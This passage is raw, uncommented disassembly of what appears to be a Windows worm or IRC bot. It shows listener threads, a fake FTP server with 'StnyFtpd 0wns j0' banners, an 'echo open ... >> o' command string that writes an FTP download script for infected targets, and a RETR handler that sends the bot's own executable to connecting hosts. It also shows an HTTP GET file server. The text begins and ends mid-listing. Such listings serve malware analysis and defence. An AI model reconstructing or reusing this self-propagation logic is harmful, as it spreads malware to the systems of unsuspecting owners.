esi, eax pop ecx lea edi, [ebp+var_B0] rep movsd push 1 xor ebx, ebx pop esi mov [eax+98h], esi push 10h lea eax, [ebp+var_14] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_A4] call dword_4CB9D4 ; htons push ebx push esi push 2 mov [ebp+var_12], ax mov [ebp+var_10], ebx call dword_4CBA54 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jnz short loc_40F1AF cmp [ebp+var_1C], ebx jnz short loc_40F18F push ebx lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_409869 add esp, 14h loc_40F18F: ; CODE XREF: sub_40F108+65j lea eax, [ebp+var_2C0] push eax call sub_415D38 push [ebp+var_AC] call sub_40B6D6 pop ecx pop ecx push ebx call dword_4270D4 ; ExitThread loc_40F1AF: ; CODE XREF: sub_40F108+60j mov eax, [ebp+var_AC] push 10h imul eax, 234h mov dword_43E91C[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_4CBA00 ; bind cmp eax, esi mov ebx, 400h jnz loc_40F2AA call dword_4CB968 ; WSAGetLastError cmp eax, 2740h jz short loc_40F22F xor esi, esi cmp [ebp+var_1C], esi jnz short loc_40F20F push esi lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_409869 add esp, 14h loc_40F20F: ; CODE XREF: sub_40F108+E5j lea eax, [ebp+var_2C0] push eax call sub_415D38 push [ebp+var_AC] call sub_40B6D6 pop ecx pop ecx push esi call dword_4270D4 ; ExitThread loc_40F22F: ; CODE XREF: sub_40F108+DEj push 0FFFEh push ebx call sub_418BD1 pop ecx mov dword_4CE710, eax pop ecx mov [ebp+var_12], ax lea eax, [ebp+var_14] push 10h push eax push edi call dword_4CBA00 ; bind cmp eax, esi jnz short loc_40F2AA call dword_4CB968 ; WSAGetLastError xor esi, esi cmp [ebp+var_1C], esi jnz short loc_40F28A cmp eax, 2740h jz short loc_40F28A push esi lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_409869 add esp, 14h loc_40F28A: ; CODE XREF: sub_40F108+159j ; sub_40F108+160j lea eax, [ebp+var_2C0] push eax call sub_415D38 push [ebp+var_AC] call sub_40B6D6 pop ecx pop ecx push esi call dword_4270D4 ; ExitThread loc_40F2AA: ; CODE XREF: sub_40F108+CDj ; sub_40F108+14Cj push 5 push edi call dword_4CB9FC ; listen cmp eax, esi jz loc_40F38F mov [ebp+var_4], 10h mov esi, offset byte_429108 loc_40F2C7: ; CODE XREF: sub_40F108+1D7j ; sub_40F108+227j ... lea eax, [ebp+var_4] push eax lea eax, [ebp+var_C0] push eax push edi call dword_4CBA68 ; accept cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_40F2C7 cmp [ebp+var_1C], 0 jnz short loc_40F308 push 0 lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_409869 add esp, 14h loc_40F308: ; CODE XREF: sub_40F108+1DDj lea eax, [ebp+var_2C0] push eax call sub_415D38 pop ecx lea eax, [ebp+var_2C0] push 0 push 200h push eax push [ebp+arg_0] call dword_4CB9EC ; recv cmp eax, 0FFFFFFFFh jz short loc_40F2C7 push esi push esi push dword_4CB710 push [ebp+var_B0] call sub_40AA06 pop ecx push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d >> o&echo user 1 >>o &e"... lea eax, [ebp+var_6C0] push ebx push eax call sub_41C360 add esp, 1Ch lea eax, [ebp+var_6C0] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_6C0] push eax push [ebp+arg_0] call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz loc_40F2C7 inc dword_4CE718 jmp loc_40F2C7 ; --------------------------------------------------------------------------- loc_40F38F: ; CODE XREF: sub_40F108+1ADj push edi call dword_4CBA6C ; closesocket push [ebp+var_AC] call sub_40B6D6 pop ecx push 0 call dword_4270D4 ; ExitThread sub_40F108 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F3AA proc near ; DATA XREF: sub_40BD91+22Ao var_A70 = byte ptr -0A70h var_8E0 = byte ptr -8E0h var_6E0 = dword ptr -6E0h var_4C8 = byte ptr -4C8h var_448 = dword ptr -448h var_444 = dword ptr -444h var_43C = dword ptr -43Ch var_338 = byte ptr -338h var_2D4 = byte ptr -2D4h var_2A0 = byte ptr -2A0h var_23C = byte ptr -23Ch var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_128 = byte ptr -128h var_FC = byte ptr -0FCh var_C8 = byte ptr -0C8h var_B0 = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = dword ptr -38h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A70h mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6E0] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A70] xor esi, esi push eax push 101h mov [ebp+var_28], ebx mov [ebp+var_20], ebx mov [ebp+var_18], ebx mov [ebp+var_22C], esi mov [ebp+var_43C], esi call dword_4271D8 ; WSAStartup push esi push ebx push 2 call dword_427204 ; socket mov esi, dword_4271DC lea ecx, [ebp+var_28] push 4 push ecx mov edi, 0FFFFh push 4 push edi push eax mov [ebp+var_8], eax call esi ; setsockopt lea eax, [ebp+var_20] push 4 push eax push 0FFFFFFFBh push edi mov edi, [ebp+var_8] push edi call esi ; setsockopt lea eax, [ebp+var_18] push eax push 8004667Eh push edi call dword_4271E0 ; ioctlsocket mov ax, word ptr dword_4CB710 and [ebp+var_38], 0 push eax mov [ebp+var_3C], 2 call dword_4CB9D4 ; htons mov [ebp+var_3A], ax lea eax, [ebp+var_3C] push 10h push eax push edi call dword_4271E4 ; bind test eax, eax jge short loc_40F470 mov eax, ebx jmp loc_40F9B8 ; --------------------------------------------------------------------------- loc_40F470: ; CODE XREF: sub_40F3AA+BDj push 0Ah push edi call dword_4271E8 ; listen mov [ebp+var_22C], ebx mov ebx, dword_427208 mov [ebp+var_228], edi mov [ebp+var_4], edi loc_40F48E: ; CODE XREF: sub_40F3AA+11Dj ; sub_40F3AA+606j push 41h lea esi, [ebp+var_22C] pop ecx lea edi, [ebp+var_43C] rep movsd xor esi, esi lea eax, [ebp+var_43C] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax call dword_42720C ; select cmp eax, 0FFFFFFFFh jz loc_40F9B5 xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_40F48E loc_40F4C9: ; CODE XREF: sub_40F3AA+600j xor esi, esi push 64h lea eax, [ebp+var_2A0] push esi push eax call sub_41BF70 push 64h lea eax, [ebp+var_B0] push esi push eax call sub_41BF70 add esp, 18h lea eax, [ebp+var_43C] push eax push edi call sub_426350 ; __WSAFDIsSet test eax, eax jz loc_40F9A3 cmp edi, [ebp+var_8] jnz short loc_40F580 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_23C] push eax push [ebp+var_8] call dword_4271EC ; accept cmp eax, 0FFFFFFFFh jz loc_40F9A3 xor ecx, ecx cmp [ebp+var_22C], esi jbe short loc_40F54A lea edx, [ebp+var_228] loc_40F53A: ; CODE XREF: sub_40F3AA+19Ej cmp [edx], eax jz short loc_40F54A inc ecx add edx, 4 cmp ecx, [ebp+var_22C] jb short loc_40F53A loc_40F54A: ; CODE XREF: sub_40F3AA+188j ; sub_40F3AA+192j cmp ecx, [ebp+var_22C] jnz short loc_40F568 cmp [ebp+var_22C], 40h jnb short loc_40F568 mov [ebp+ecx*4+var_228], eax inc [ebp+var_22C] loc_40F568: ; CODE XREF: sub_40F3AA+1A6j ; sub_40F3AA+1AFj cmp eax, [ebp+var_4] jle short loc_40F570 mov [ebp+var_4], eax loc_40F570: ; CODE XREF: sub_40F3AA+1C1j push esi push 15h push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n" push eax call ebx ; send jmp loc_40F9A3 ; --------------------------------------------------------------------------- loc_40F580: ; CODE XREF: sub_40F3AA+15Aj push esi lea eax, [ebp+var_2A0] push 64h push eax push edi call dword_4271FC ; recv test eax, eax jg short loc_40F5E7 mov edx, [ebp+var_22C] xor ecx, ecx cmp edx, esi jbe short loc_40F5DB lea eax, [ebp+var_228] loc_40F5A7: ; CODE XREF: sub_40F3AA+207j cmp [eax], edi jz short loc_40F5B5 inc ecx add eax, 4 cmp ecx, edx jb short loc_40F5A7 jmp short loc_40F5DB ; --------------------------------------------------------------------------- loc_40F5B5: ; CODE XREF: sub_40F3AA+1FFj dec edx cmp ecx, edx jnb short loc_40F5D5 lea eax, [ebp+ecx*4+var_228] loc_40F5C1: ; CODE XREF: sub_40F3AA+229j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_22C] add eax, 4 dec edx cmp ecx, edx jb short loc_40F5C1 loc_40F5D5: ; CODE XREF: sub_40F3AA+20Ej dec [ebp+var_22C] loc_40F5DB: ; CODE XREF: sub_40F3AA+1F5j ; sub_40F3AA+209j push edi call dword_427200 ; closesocket jmp loc_40F9A3 ; --------------------------------------------------------------------------- loc_40F5E7: ; CODE XREF: sub_40F3AA+1E9j lea eax, [ebp+var_338] push eax lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2A0] push offset aSS_0 ; "%s %s" push eax call sub_41CCE3 lea eax, [ebp+var_B0] push offset aUser_0 ; "USER" push eax call sub_41CA50 add esp, 18h test eax, eax jnz short loc_40F62B push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_40F6AD ; --------------------------------------------------------------------------- loc_40F62B: ; CODE XREF: sub_40F3AA+272j lea eax, [ebp+var_B0] push offset aPass ; "PASS" push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40F64C push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp short loc_40F6AD ; --------------------------------------------------------------------------- loc_40F64C: ; CODE XREF: sub_40F3AA+296j lea eax, [ebp+var_B0] push offset aSyst ; "SYST" push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40F66D push esi push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" jmp short loc_40F6AD ; --------------------------------------------------------------------------- loc_40F66D: ; CODE XREF: sub_40F3AA+2B7j lea eax, [ebp+var_B0] push offset aRest ; "REST" push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40F68E push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp short loc_40F6AD ; --------------------------------------------------------------------------- loc_40F68E: ; CODE XREF: sub_40F3AA+2D8j lea eax, [ebp+var_B0] push offset off_43492C push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40F6B3 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" loc_40F6AD: ; CODE XREF: sub_40F3AA+27Cj ; sub_40F3AA+2A0j ... push edi jmp loc_40F98C ; --------------------------------------------------------------------------- loc_40F6B3: ; CODE XREF: sub_40F3AA+2F9j mov edi, offset aType ; "TYPE" lea eax, [ebp+var_B0] push edi push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40F6EF lea eax, [ebp+var_338] push offset aA_0 ; "A" push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40F6EF push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_40F989 ; --------------------------------------------------------------------------- loc_40F6EF: ; CODE XREF: sub_40F3AA+31Fj ; sub_40F3AA+336j lea eax, [ebp+var_B0] push edi push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40F726 lea eax, [ebp+var_338] push offset aI_0 ; "I" push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40F726 push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_40F989 ; --------------------------------------------------------------------------- loc_40F726: ; CODE XREF: sub_40F3AA+356j ; sub_40F3AA+36Dj lea eax, [ebp+var_B0] push offset aPasv ; "PASV" push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40F771 push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_128] rep movsd push eax lea eax, [ebp+var_128] push eax movsw call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_128] loc_40F764: ; CODE XREF: sub_40F3AA+406j push eax push [ebp+arg_0] call ebx ; send xor esi, esi jmp loc_40F98E ; --------------------------------------------------------------------------- loc_40F771: ; CODE XREF: sub_40F3AA+391j lea eax, [ebp+var_B0] push offset aList_0 ; "LIST" push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40F7B2 push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C8] rep movsd movsw push eax lea eax, [ebp+var_C8] push eax movsb call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_C8] jmp short loc_40F764 ; --------------------------------------------------------------------------- loc_40F7B2: ; CODE XREF: sub_40F3AA+3DCj lea eax, [ebp+var_B0] push offset aPort ; "PORT" push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40F883 lea eax, [ebp+var_2D4] push eax lea eax, [ebp+var_FC] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_2A0] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_41CCE3 lea eax, [ebp+var_FC] push eax call sub_41C159 mov edi, eax lea eax, [ebp+var_2D4] push eax call sub_41C159 mov [ebp+var_C], eax push 32h lea eax, [ebp+var_FC] push esi push eax call sub_41BF70 add esp, 34h lea eax, [ebp+var_FC] push [ebp+var_C] push edi push offset aXX ; "%x%x\n" push eax call sub_41C266 push 10h lea eax, [ebp+var_FC] push esi push eax call sub_41C7A5 add esp, 1Ch mov [ebp+var_C], eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_4C] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_41C266 add esp, 18h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" jmp loc_40F989 ; --------------------------------------------------------------------------- loc_40F883: ; CODE XREF: sub_40F3AA+41Dj lea eax, [ebp+var_B0] push offset aRetr ; "RETR" push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40F96A push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push [ebp+arg_0] call ebx ; send push [ebp+var_C] lea eax, [ebp+var_4C] push eax call sub_40F9BF pop ecx cmp eax, 1 pop ecx jnz loc_40F960 cmp [ebp+var_444], esi jnz short loc_40F8ED push esi lea eax, [ebp+var_8E0] push [ebp+var_448] push eax lea eax, [ebp+var_4C8] push eax push [ebp+var_6E0] call sub_409869 add esp, 14h loc_40F8ED: ; CODE XREF: sub_40F3AA+51Ej call sub_40FA3C cmp eax, 1 jnz loc_40F98E push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push [ebp+arg_0] call ebx ; send lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_8E0] push offset dword_434798 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_444], esi jnz short loc_40F94B push esi lea eax, [ebp+var_8E0] push [ebp+var_448] push eax lea eax, [ebp+var_4C8] push eax push [ebp+var_6E0] call sub_409869 add esp, 14h loc_40F94B: ; CODE XREF: sub_40F3AA+57Cj lea eax, [ebp+var_8E0] push eax call sub_415D38 inc dword_4CE4E0 pop ecx jmp short loc_40F98E ; --------------------------------------------------------------------------- loc_40F960: ; CODE XREF: sub_40F3AA+512j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_40F989 ; --------------------------------------------------------------------------- loc_40F96A: ; CODE XREF: sub_40F3AA+4EEj lea eax, [ebp+var_B0] push offset aQuit ; "QUIT" push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40F98E push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_40F989: ; CODE XREF: sub_40F3AA+340j ; sub_40F3AA+377j ... push [ebp+arg_0] loc_40F98C: ; CODE XREF: sub_40F3AA+304j call ebx ; send loc_40F98E: ; CODE XREF: sub_40F3AA+3C2j ; sub_40F3AA+54Bj ... push 64h lea eax, [ebp+var_2A0] push esi push eax call sub_41BF70 mov edi, [ebp+arg_0] add esp, 0Ch loc_40F9A3: ; CODE XREF: sub_40F3AA+151j ; sub_40F3AA+17Aj ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_40F4C9 jmp loc_40F48E ; --------------------------------------------------------------------------- loc_40F9B5: ; CODE XREF: sub_40F3AA+10Fj push 1 pop eax loc_40F9B8: ; CODE XREF: sub_40F3AA+C1j pop edi pop esi pop ebx leave retn 4 sub_40F3AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F9BF proc near ; CODE XREF: sub_40F3AA+508p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call dword_4271D8 ; WSAStartup push 0 push 1 push 2 call dword_427204 ; socket push [ebp+arg_0] mov dword_4CE71C, eax mov [ebp+var_10], 2 call dword_4271F0 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call dword_4271F4 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_4CE71C call dword_4271F8 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40FA37 push dword_4CE71C call dword_427200 ; closesocket call dword_4271D4 ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40FA37: ; CODE XREF: sub_40F9BF+60j push 1 pop eax leave retn sub_40F9BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FA3C proc near ; CODE XREF: sub_40F3AA:loc_40F8EDp var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call dword_427078 ; GetModuleFileNameA lea eax, [ebp+var_104] push offset dword_429068 push eax call sub_41BEA2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40FAD3 test byte ptr [esi+0Ch], 10h jnz short loc_40FAB7 push edi mov edi, 400h loc_40FA7F: ; CODE XREF: sub_40FA3C+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_41BAFA add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push dword_4CE71C call dword_427208 ; send push 1 call dword_427080 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_40FA7F pop edi loc_40FAB7: ; CODE XREF: sub_40FA3C+3Bj push esi call sub_41BA3B pop ecx push dword_4CE71C call dword_427200 ; closesocket call dword_4271D4 ; WSACleanup push 1 pop eax loc_40FAD3: ; CODE XREF: sub_40FA3C+35j pop esi leave retn sub_40FA3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FAD6 proc near ; DATA XREF: sub_401ACD+2229o ; sub_40BD91+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41C500 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41BF70 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CB9D4 ; htons push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CBA54 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40FEC1 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43E91C[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CBA00 ; bind cmp eax, 0FFFFFFFFh jz loc_40FEC1 push 7FFFFFFFh push edi call dword_4CB9FC ; listen cmp eax, 0FFFFFFFFh jz loc_40FEC1 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CBA70 ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_40FEC1 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40FBAD: ; CODE XREF: sub_40FAD6+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CB9BC ; select cmp eax, 0FFFFFFFFh jz loc_40FEBC xor esi, esi mov [ebp+var_4], esi loc_40FBE3: ; CODE XREF: sub_40FAD6+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CB8C0 ; __WSAFDIsSet test eax, eax jz loc_40FEA7 cmp esi, [ebp+var_C] jnz short loc_40FC65 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CBA68 ; accept cmp eax, 0FFFFFFFFh jz loc_40FEA7 xor ecx, ecx test ebx, ebx jbe short loc_40FC37 lea edx, [ebp+var_134] loc_40FC2B: ; CODE XREF: sub_40FAD6+15Fj cmp [edx], eax jz short loc_40FC37 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40FC2B loc_40FC37: ; CODE XREF: sub_40FAD6+14Dj ; sub_40FAD6+157j cmp ecx, ebx jnz short loc_40FC54 cmp ebx, 40h jnb short loc_40FC54 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40FC54: ; CODE XREF: sub_40FAD6+163j ; sub_40FAD6+168j cmp eax, [ebp+var_8] jbe loc_40FEA7 mov [ebp+var_8], eax jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FC65: ; CODE XREF: sub_40FAD6+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41BF70 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BF70 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CB9EC ; recv test eax, eax jg short loc_40FCF8 push esi call dword_4CBA6C ; closesocket xor ecx, ecx test ebx, ebx jbe loc_40FEA7 lea eax, [ebp+var_134] loc_40FCB7: ; CODE XREF: sub_40FAD6+1EBj cmp [eax], esi jz short loc_40FCC8 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FCB7 jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FCC8: ; CODE XREF: sub_40FAD6+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FCEC lea eax, [ebp+ecx*4+var_134] loc_40FCD6: ; CODE XREF: sub_40FAD6+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FCD6 loc_40FCEC: ; CODE XREF: sub_40FAD6+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FCF8: ; CODE XREF: sub_40FAD6+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41BF70 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41B9C0 add esp, 10h test eax, eax jbe loc_40FEA7 loc_40FD26: ; CODE XREF: sub_40FAD6+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40FDCB mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40FD9F lea eax, [ebp+var_18F0] push eax call sub_41B9C0 cmp eax, 5 pop ecx jbe short loc_40FD9F mov eax, offset asc_42CDC0 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41C2E0 pop ecx pop ecx push eax call sub_41C2E0 pop ecx pop ecx push eax call sub_41CAD4 push eax lea eax, [ebp+var_23C] push eax call sub_41C890 add esp, 10h jmp short loc_40FDB6 ; --------------------------------------------------------------------------- loc_40FD9F: ; CODE XREF: sub_40FAD6+27Fj ; sub_40FAD6+291j lea eax, [ebp+var_18F0] push offset asc_4349EC ; "\r\n" push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_40FDEA loc_40FDB6: ; CODE XREF: sub_40FAD6+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BF70 add esp, 0Ch or esi, 0FFFFFFFFh loc_40FDCB: ; CODE XREF: sub_40FAD6+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41B9C0 cmp [ebp+arg_0], eax pop ecx jb loc_40FD26 jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FDEA: ; CODE XREF: sub_40FAD6+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40FE34 lea eax, [ebp+var_134] loc_40FDF6: ; CODE XREF: sub_40FAD6+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40FE07 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FDF6 jmp short loc_40FE37 ; --------------------------------------------------------------------------- loc_40FE07: ; CODE XREF: sub_40FAD6+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FE2B lea eax, [ebp+ecx*4+var_134] loc_40FE15: ; CODE XREF: sub_40FAD6+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FE15 loc_40FE2B: ; CODE XREF: sub_40FAD6+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40FE37 ; --------------------------------------------------------------------------- loc_40FE34: ; CODE XREF: sub_40FAD6+318j mov esi, [ebp+var_4] loc_40FE37: ; CODE XREF: sub_40FAD6+32Fj ; sub_40FAD6+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40FEA0 lea eax, [ebp+var_360] push eax call sub_41B9C0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41B9C0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40FEA0 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CBA70 ; ioctlsocket push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_4100B4 add esp, 14h jmp short loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FEA0: ; CODE XREF: sub_40FAD6+369j ; sub_40FAD6+38Fj push esi call dword_4CBA6C ; closesocket loc_40FEA7: ; CODE XREF: sub_40FAD6+11Dj ; sub_40FAD6+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40FBE3 jmp loc_40FBAD ; --------------------------------------------------------------------------- loc_40FEBC: ; CODE XREF: sub_40FAD6+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40FEC1: ; CODE XREF: sub_40FAD6+6Aj ; sub_40FAD6+92j ... call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+var_8F0] push offset unk_4349C4 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40FF07 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409869 add esp, 14h loc_40FF07: ; CODE XREF: sub_40FAD6+40Cj lea eax, [ebp+var_8F0] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C ; closesocket push [ebp+var_254] call sub_40B6D6 pop ecx push ebx call dword_4270D4 ; ExitThread pop edi pop esi pop ebx sub_40FAD6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FF31 proc near ; DATA XREF: sub_4100B4+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h 